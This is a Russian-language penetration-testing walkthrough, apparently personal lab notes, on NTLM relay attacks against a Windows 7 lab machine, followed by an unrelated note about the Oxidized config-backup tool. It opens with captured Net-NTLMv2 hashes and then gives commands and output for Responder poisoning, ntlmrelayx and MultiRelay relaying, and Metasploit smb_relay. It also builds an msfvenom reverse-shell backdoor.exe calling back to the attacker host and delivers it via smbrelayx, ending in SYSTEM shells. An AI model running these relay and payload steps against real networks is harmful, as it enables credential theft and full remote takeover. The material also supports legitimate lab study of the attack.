WIN7$::HACKERU:05a91ede7d09ef62:30DF8B1E32172DB638073806C9CEE408:01010000000000006C5BD03C690AD8012358A38B74FA0CAD000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000400000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
Administrator::HACKERU:61f0be84e4bc76a7:3DB235B5535B26984D662C4B4DE726E8:0101000000000000D0B68F056A0AD8015CADBAAEA210AF18000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000300000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
Administrator::HACKERU:3023fc5f67ec33c0:FBFBC88B2B70794CDFB6BDE390923623:010100000000000073320A066A0AD8013A6C5DCC3C752BEF000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000300000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
:::
Продложим дальше, отключим SMB и HTTP протоколы в конфигурационном файле респондера Responder.conf.
```
┌──(root💀kali)-[/home/user/responder]
└─# ./Responder.py -I eth1 -wv 1 ⨯
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.9.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [OFF]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.1.200]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-JYSVIEOG71D]
Responder Domain Name [UB9G.LOCAL]
Responder DCE-RPC Port [45488]
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.1.15 for name win7
[*] [LLMNR] Poisoned answer sent to 192.168.1.15 for name wpad
[*] [LLMNR] Poisoned answer sent to 192.168.1.15 for name wpad
[*] [NBT-NS] Poisoned answer sent to 192.168.1.15 for name WIN-KC0CV19JL5C (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 192.168.1.15 for name WIN-KC0CV19JL5C (service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.1.15 for name win7
[*] [NBT-NS] Poisoned answer sent to 192.168.1.15 for name HACKERU (service: Domain Master Browser)
```
#### Responder tools
##### ntlmrelayx
Smbrelayx is a part of Core Security’s [impacket library](https://hackmd.io/6B1fJE07S6u4vgwIlqtm1w?both#impacket). Ntlmrelayx is an extension and partial rewrite of the smbrelayx tool, developed by Fox-IT. It features relaying to a wide range of protocols. The tool accepts multiple targets, cycling through each to find systems to authenticate to. The tool features an SMB and HTTP server, from which it can relay NTLM authentication to SMB, HTTP(s), IMAP, LDAP and MSSQL.
Паралельно с запущенным респондером запускаем утилиту [ntlmrelayx.py](https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/). В файле tagets указываем хосты обращение к которым мы хотим перехватывать
```
┌──(root💀kali)-[/home/user]
└─# python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf ./tagets -smb2support -i
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.1.15, attacking target smb://192.168.1.15
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[-] Authenticating against smb://192.168.1.15 as HACKERU\WIN7$ FAILED
[*] HTTPD: Received connection from 192.168.1.15, attacking target smb://192.168.1.100
[*] HTTPD: Client requested path: /pcfazzakn9
[*] HTTPD: Client requested path: /pcfazzakn9
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[*] HTTPD: Client requested path: /pcfazzakn9
[*] Authenticating against smb://192.168.1.100 as HACKERU\WIN7$ SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
```
в процессе работы видим следующие строки
[*] Authenticating against smb://192.168.1.100 as HACKERU\WIN7$ SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
и еще в одном окне терминала запускаем подключение к 127.0.0.1:11000
```
┌──(root💀kali)-[/usr/share/responder/tools/MultiRelay]
└─# nc 127.0.0.1 11000 1 ⨯
Type help for list of commands
# help
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
# put 1.txt
# ls
# mkdir 1
# ls
# who
```
Подключились получилось к сессии компьютера, а не пользователя и возможно по этому ни одна из комманд не дала результата, кроме help.
##### MultiRelay
Проверим конфиг файл Recponder.conf и удостоверимся что HTTP и SMB отключены.
Запускаем респондер коммандой
./Responder.py -I eth0 -rv
и из папки responder/tools запускаем `MultiRelay.py`
-t это узел обращения с которого мы будем перехватывать и в случае успеха получим к нему доступ
-u список пользователей через пробел, которых мы будем обрабатывать. All - нас устраивают все пользователи.
На атакуемой машине `192.168.1.15` пробуем открыть любобую несуществующую сетувую папку. Например `\\testshare` и наблюдаем что нам покажет `MultiRelay.py`.
```
└─# ./MultiRelay.py -t 192.168.1.15 -u user j -d 1 ⨯
Crypto lib is not installed. You won't be able to live dump the hashes.
You can install it on debian based os with this command: apt-get install python-crypto
The Sam file will be saved anyway and you will have the bootkey.
Responder MultiRelay 2.5 NTLMv1/2 Relay
Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.
/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.
This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/
Relaying credentials for these users:
['user', 'j']
Retrieving information for 192.168.1.15...
SMB signing: False
Os version: 'Windows 7 Professional 7601 Service Pack 1'
Hostname: 'WIN7'
Part of the 'HACKERU' domain
[+] Setting up SMB relay with SMB challenge: a5b54e14311d8073
[+] Attempting reflective NTLM Relay, this is likely to fail.
[+] Username: j is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Relay failed, Logon Failure. This user doesn't have an account on this target.
[+] Hashes were saved anyways in Responder/logs/ folder.
[+] Setting up SMB relay with SMB challenge: 285efab0ee556a5c
[+] Attempting reflective NTLM Relay, this is likely to fail.
[+] Username: j is whitelisted, forwarding credentials.
[+] User HACKERU\j previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout
```
Теперь при заходе пользователя с полномочиями локального админа мы должны получить подключение к консольной сессии рабочей станции.
#### Metasploit Framework SMB relay. NTLMv1
:::warning
При использовании таких инструментов, как Responder или Inveigh мы получаем хэши Net-NTLMv1/v2 (он же NTLMv1/v2).
Их [нельзя использовать](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) для атаки pass-the-hash, но их можно ретранслировать.
:::
:::warning
Подпись SMB также должна быть отключена на машине, которую вы ретранслируете. За исключением ОС Windows Server, во всех операционных системах Windows подписание SMB отключено по умолчанию.
:::
SMB relay attacks. С помощью стандартного модуля Metasploit Framework
Атака может показаться сложной, на самом деле его очень легко использовать. В этом примере злоумышленник (192.168.1.200) хочет получить доступ к серверу по IP-адресу 192.168.100.15, в нашем случае это рабочая станция с открытой шарой.
В Metasploit есть релейный модуль SMB, и он прекрасно работает. На атакующем компе Kali 192.168.1.200 настраивает Metasploit следующим образом:
```
msfconsole
msf6> use exploit/windows/smb/smb_relay
msf6> set SMBHOST 192.168.1.15
msf6> set payload windows/meterpreter/bind_tcp
msf6> run
msf6 exploit(windows/smb/smb_relay) >
[*] Sending NTLMSSP NEGOTIATE to 192.168.1.15
[*] Extracting NTLMSSP CHALLENGE from 192.168.1.15
[*] Forwarding the NTLMSSP CHALLENGE to 192.168.1.100:49214
[*] Extracting the NTLMSSP AUTH resolution from 192.168.1.100:49214, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 192.168.1.15
[+] SMB auth relay against 192.168.1.15 succeeded
[*] Ignoring request from 192.168.1.15, attack already in progress.
..
[+] SMB auth relay against 192.168.1.15 succeeded
[*] Ignoring request from 192.168.1.15, attack already in progress.
[*] Sending NTLMSSP NEGOTIATE to 192.168.1.15
[*] Extracting NTLMSSP CHALLENGE from 192.168.1.15
[*] Forwarding the NTLMSSP CHALLENGE to 192.168.1.100:49224
[*] Extracting the NTLMSSP AUTH resolution from 192.168.1.100:49224, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 192.168.1.15
[+] SMB auth relay against 192.168.1.15 succeeded
[*] Ignoring request from 192.168.1.15, attack already in progress.
[*] Sending stage (175174 bytes) to 192.168.1.15
[*] Meterpreter session 1 opened (192.168.1.200:35771 -> 192.168.1.15:4444 ) at 2022-01-15 14:24:57 -0500
```
Проверим сессии
```
msf6 exploit(windows/smb/smb_relay) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN7 192.168.1.200:35771 -> 192.168.1.15:4444
(192.168.1.15)
msf6 exploit(windows/smb/smb_relay) >
```
Сымитируем обрашение к шаре на нашем узле. зайдем на сервер и откроем в explore `192.168.1.200\c$`, попытка аутентификации передается на целевой сервер (192.168.1.15). Metasploit автоматически использует аутентифицированный сеанс SMB для запуска полезной нагрузки meterpreter на цели. Обратите внимание на рисунке ниже, что Metasploit отправляет «Доступ запрещен» обратно в сканер инвентаризации, когда он пытается подключиться к 192.168.1.200. Однако ущерб нанесен, и мы получаем оболочку Meterpreter на машине атакующего, работающую по цели (192.168.1.15).
Подключаемся к нашей сессии
```
msf6 exploit(windows/smb/smb_relay) > sessions 1
[*] Starting interaction with 1...
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > shell
Process 4008 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
```
Видим что мы подключились к консоли сервера с правами `nt authority\system`.
:::warning
SMB Relay от Metasploit поддерживает только NTLMv1, поэтому для предотвращения атаки достаточно запретить использовать v1 протокола.
:::
#### smbrelayx SMB relay. NTLMv2
https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
https://www.programmersought.com/article/44858267486/#ResponderMultiRelaypy_147
SMB relay attacks. С помощью скрипта из пакета Impacket SMBRELAYX.PY, поддерживает NTLMv2!
Вначале создадим полезную нагрузку
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=5555 -f exe -o /home/user/backdoor.exe
Настроим listner в `msfconsole` для получения сеанса Meterpreter
```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:5555
```
Настроим конфигурационный файл Responder и отключим SMB, HTTP и HTTPS
sed -i -E "s/^(SMB|HTTP |HTTPS ).*/\1 = Off/" ./Responder.conf
Запустим Responder со следующими ключами
./Responder.py -I eth1 -wrF
Теперь перейдем в каталог со скриптом
Запустим `impacket-smbrelayx`
```
┌──(root💀kali)-[/home/user]
└─# impacket-smbrelayx -h 192.168.1.15 -e /home/user/backdoor.exe 1 ⨯
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Running in relay mode
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
```
Переходим на окно с meterpreter'ом и имитуем с win7 обращение к атакующей машине по smb.
Если пользователь обладает правами админимстратора нагрузка будет доставленна и мы получим активную сессию.
```
[*] Started reverse TCP handler on 0.0.0.0:5555
[*] Sending stage (175174 bytes) to 192.168.1.15
[*] Meterpreter session 1 opened (192.168.1.200:5555 -> 192.168.1.15:1379 ) at 2022-01-15 15:11:52 -0500
meterpreter > sessions 1
[*] Backgrounding session 2...
[-] Invalid session identifier: 1
msf6 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
meterpreter > shell
Process 400 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
```
=======================
:::info
Офтопик
https://github.com/ytti/oxidized
Oxidized is a network device configuration backup tool. It's a RANCID replacement!
Light and extensible, Oxidized supports over 130 operating system types.
Feature highlights:
Automatically adds/removes threads to meet configured retrieval interval
Restful API to a move node immediately to head-of-queue (GET/POST /node/next/[NODE])
Syslog udp+file example to catch config change events (IOS/JunOS) and trigger a config fetch
Will signal which IOS/JunOS user made the change, can then be used by output modules (via POST)
The git output module uses this info - 'git blame' will show who changed each line, and when
Restful API to reload list of nodes (GET /reload)
Restful API to fetch configurations (/node/fetch/[NODE] or /node/fetch/group/[NODE])
Restful API to show list of nodes (GET /nodes)
Restful API to show list of version for a node (/node/version[NODE]) and diffs
:::